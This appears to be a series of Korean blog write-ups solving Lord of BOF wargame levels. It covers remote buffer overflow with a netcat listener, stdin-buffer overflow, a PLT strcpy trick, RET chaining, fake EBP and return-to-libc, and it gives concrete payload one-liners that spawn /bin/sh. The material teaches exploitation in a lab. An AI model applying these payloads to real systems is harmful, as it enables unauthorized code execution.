remote bof문제다.

...

일단 6666번 포트를 이용해야한다.

 

 

tcp shell을 만들자.

공격 코드를 작성해보자.

터머널1nc -lvp 4444를 켜놓고

다른 터미널 2에서 앞에서 작성한 exploit을 실행시킨다.

그러면 끝까지 실행된 후 터미널 1에서

connection이 뜨고,

이렇게 명령을 입력할 수 있게 된다.

이제 death_knight를 실행 시켜보자.

'포너블 > LoB' 카테고리의 다른 글

[LOB]nightmare -> xavius  (0) 2020.02.11
[LOB]succubus -> nightmare  (0) 2020.02.11
[LOB] zombie_assassin -> succubus  (0) 2020.02.09
[LOB] assassin -> zombie_assassin  (0) 2020.02.09
[LOB]giant -> assassin  (0) 2020.02.06

... 여태 사용했던 공간을 모두 사용할 수 없게 되었다...

그런데 생각해 보면 여태 strcpybuffer에 복사했었는데 fgets()로 입력을 받는다는게 뭔가 좀 이상했다.

fgets()함수에 대해 자세히 알아보자.

 

char *fgets(char *str, int n, FILE *stream)

 

매개변수

  • str - 문자열 읽기가 저장된 문자 배열에 대한 포인터

  • n - 읽을 최대 문자 수

  • stream - 이 파일 객체에 대한 포인터

반환 값

-성공 : str매개 변수

-실패 : NULL 포인터

 

어쨌건 stdin은 임시 버퍼를 사용한다. fgets()함수 바로 다음에 break point를 걸고 한번 봐보자...

main+26BP를 걸자!!

stdin의 임시 버퍼의 시작 주소는 0x400150ff이다. 입력 값으로 넣었던 A*1000이 잘 들어가 있는지 확인해 보자.!!

... 잘 들어가 있다.

이제 payload를 작성해 보자.

payload -> "\x90"*15+"shellcode"+"\x90"*4 + "\x00\x50\x01\x40"

'포너블 > LoB' 카테고리의 다른 글

[LOB] xavius -> death_knight  (0) 2020.02.11
[LOB]succubus -> nightmare  (0) 2020.02.11
[LOB] zombie_assassin -> succubus  (0) 2020.02.09
[LOB] assassin -> zombie_assassin  (0) 2020.02.09
[LOB]giant -> assassin  (0) 2020.02.06

plt를 가지고 푸는 문제다

 

우선 보면 ret의 주소가 strcpy의 주소가 되어야 if문에 벋어날 수 있다.

그럼 이제 strcpy 의 주소를 구하자.

strcpy() ->0x08048410

 

payload

$(python -c "print 'Z'*44+'\x10\x84\x04\x08'+'BBBB'+'CCCC'+'DDDD'")

넣어서 strcpy()함수의 리턴주소와 buffer의 시작 주소를 구해보자.

우선 core파일을 만들었고, 이제 gdb로 열어보자.

strcpy() ret -> 0xbffffb90

buffer의 시작 주소 -> 0xbffffb60

 

이제 쉘 코드의 주소만 구하면 된다.

shellcode addr -> 0xbffffe29

 

지금껏 구한 주소들을 모아보자.

 

strcpy() ->0x08048410

strcpy() ret -> 0xbffffb90

buffer의 시작 주소 -> 0xbffffb60

shellcode addr -> 0xbffffe29

 

payload

->$(python -c "print '\x29\xfe\xff\xbf' + '\x90'*40 + '\x10\x84\x04\x08' + 'BBBB' +

'\x90\xfb\xff\xbf' + '\x60\xfb\xff\xbf'")

'포너블 > LoB' 카테고리의 다른 글

[LOB] xavius -> death_knight  (0) 2020.02.11
[LOB]nightmare -> xavius  (0) 2020.02.11
[LOB] zombie_assassin -> succubus  (0) 2020.02.09
[LOB] assassin -> zombie_assassin  (0) 2020.02.09
[LOB]giant -> assassin  (0) 2020.02.06

RET Chain문제다.

retDO,GYE,GUL,YUT,MO를 차례대로 넣고 MOret'BBBB'로 넣고 그 뒤에 &/bin/sh,를 넣고 그뒤에 /bin/sh를 넣어서

MO함수의 system함수에 /bin/sh를 넣어 주자!!

 

일단 코드를 보니 ret까지의 거리는 44이다.

 

 

pyload => DO + GYE + GUL + YUT + MO + 'BBBB' + &/bin/sh + "/bin/sh"가 되겠다.

 

우선 함수들의 주소를 구해보자.

&DO -> 0x080487ec

&GYE -> 0x080487bc

&GUL -> 0x0804878c

&YUT -> 0x0804875c

&MO -> 0x08048724

 

\xec\x87\x04\x08 + \xbc\x87\x04\x08 + \x8c\x87\x04\x08 + \x5c\x87\x04\x08 +

\x24\x87\x04\x08 + &/bin/sh + "/bin/sh"

이제 &/bin/sh의 주소를 구하자!!

segmentation fault이 떴다...ㅠㅠ

core를 열어서 “/bin/sh”의 주소를 찾아보자

0xbffffc28/bin/sh의 주소다!!!

 

 

 

\xec\x87\x04\x08 + \xbc\x87\x04\x08 + \x8c\x87\x04\x08 + \x5c\x87\x04\x08 +

\x24\x87\x04\x08 + \x28\xfc\xff\xbf + "/bin/sh"

'포너블 > LoB' 카테고리의 다른 글

[LOB]nightmare -> xavius  (0) 2020.02.11
[LOB]succubus -> nightmare  (0) 2020.02.11
[LOB] assassin -> zombie_assassin  (0) 2020.02.09
[LOB]giant -> assassin  (0) 2020.02.06
[LOB] bugbear -> giant  (0) 2020.02.06

힌트를 보니 Fake EBP 문제다.

 

payload

-> &buf+4 + shellcode + NOP + &buf-4 + leave

 

먼저 "AAAA" + "B"*36 + "CCCC" + "DDDD"를 넣어서 core파일을 생성해 보자.

0xbffffc20buffer의 시작 주소가 된다.

&buf+4 -> 0xbffffc24

&buf-4 -> 0xbffffc1c

가 된다.

 

다음 leave주소를 구하자.

leave -> 0x080484df

 

payload

-> &buf+4 + shellcode + NOP + &buf-4 + leave

payload에 맞게 입력해보자.

'포너블 > LoB' 카테고리의 다른 글

[LOB]succubus -> nightmare  (0) 2020.02.11
[LOB] zombie_assassin -> succubus  (0) 2020.02.09
[LOB]giant -> assassin  (0) 2020.02.06
[LOB] bugbear -> giant  (0) 2020.02.06
[LOB] darkknight -> bugbear  (0) 2020.02.06

이번 문제는 ret\xbf \x40

, stack과 공유 라이브러리를 사용할 수 없다.

마지막에 buffer hunter까지 있다.

 

코드 영역의 주소를 사용하자.

ret의 주소를 ret에 넣어 ret를 한번 더 실행시킨다.

그 다음 한번 더 실행된 ret의 주소에 shell code의 주소를 넣으면 될 것이다.

 

shell code의 주소

payload

`python -c "print 'A'*44+'\x1e\x85\x04\x08'+'\x36\xfe\xff\xbf'"`

 

이렇게 쉘 코드를 넣어도 되고, 아니면 system('/bin/sh')를 넣어줘도 된다.

'포너블 > LoB' 카테고리의 다른 글

[LOB] zombie_assassin -> succubus  (0) 2020.02.09
[LOB] assassin -> zombie_assassin  (0) 2020.02.09
[LOB] bugbear -> giant  (0) 2020.02.06
[LOB] darkknight -> bugbear  (0) 2020.02.06
[LOB] golem->darkknight  (0) 2020.02.01

프로그램 분석

  1. ldd /home/giant/assassin | grep libc | awk print $4

    1. 공유 라이브러리의 주소

    2. 그런데 giantassassin에는 접근이 불가능하니 현제 파일로 해서 주소를 구해도 됨

  2. nm /lib/libc.so.6 | grep __execve | awk print $1

    1. execve이 공유 라이브러리에 어디에 있는지 오프셋을 구한다.

  3. ret == execve_addr과 같아야 if문에 빠지지 않는다.

  4. argv[1] buffer에 저장한다.

알아야 할 것

  • execve()의 주소

  • execve()함수 사용법

  • ret까지의 거리

  • system()주소

  • "/bin/sh"주소 

execve()의 주소

1번 값 + 2번 값 = execve()함수의 주소


execve()의 사용법

filename

-실행 가능한 파일의 실행코드를 현재 프로세스에 적재하여 기존의 실행코드와 교체하여 새로운 기능으로 실행

, 현재 실행되는 프로그램의 기능은 없어지고 filename프로그램을 메모리에 loading하여 처음부터 실행

argv[]

-c언어에서 main(int argc, char *argv[])argv와 같다 마지막 array 다음은 NULL이어야 한다.

envp[]

-key=value형식의 한경변수 문자열 배열리스트로 마지막은 NULL이어야 한다.

-만약 설정된 환경변수를 사용하려면 environ 전역변수를 그냥 사용한다.


RET까지의 거리

-bufferebp-40부터 이다.

-그러니 ret까지의 거리는 44이다.


system() 주소


/bin/sh의 주소


payload= 'A'*44+'0x400a9d48'+'0x40058ae0'+'AAAA'+'0x400fbff9'

"`python -c "print 'A'*44+'\x48\x9d\x0a\x40'+'\xe0\x8a\x05\x40'+'BBBB'+'\xf9\xbf\x0f\x40'"`"

★\x0a가 \x00으로 표시되니 " "큰 따옴표로 한 번 감싸주자

'포너블 > LoB' 카테고리의 다른 글

[LOB] assassin -> zombie_assassin  (0) 2020.02.09
[LOB]giant -> assassin  (0) 2020.02.06
[LOB] darkknight -> bugbear  (0) 2020.02.06
[LOB] golem->darkknight  (0) 2020.02.01
[LOB] goblin -> orc  (0) 2019.10.02

RTL에 대한 문제이다.

RTL(Return To Library)이다.

-ret에 공유 라이브러리에 있는 함수의 주소를 넣고 실행시키는 공격 기법이다.

 

return의 위치와 system()함수의 주소를 구해야 한다.

1.return까지의 거리

buffer[40]+SFP(4)+RET(4) -> NOPx44

2.system()의 주소

이제 system()함수에 들어갈 "/bin/sh"의 주소를 구해야 한다.

(system()함수에서 "/bin/sh"를 구하자!!)

3."/bin/sh"의 조소

"/bin/sh"의 주소를 구하기 위한 코드

 

정리 해보자

dummy = 44

system() address -> 40058ae0

"/bin/sh" address -> 0x400fbff9

 

payload -> $(python -c "print 'A'*44+'\xe0\x8a\x05\x40'+'\x90'*4+'\xf9\xbf\x0f\x40'")

'포너블 > LoB' 카테고리의 다른 글

[LOB]giant -> assassin  (0) 2020.02.06
[LOB] bugbear -> giant  (0) 2020.02.06
[LOB] golem->darkknight  (0) 2020.02.01
[LOB] goblin -> orc  (0) 2019.10.02
[LOB] cobolt -> goblin  (0) 2019.10.02

+ Recent posts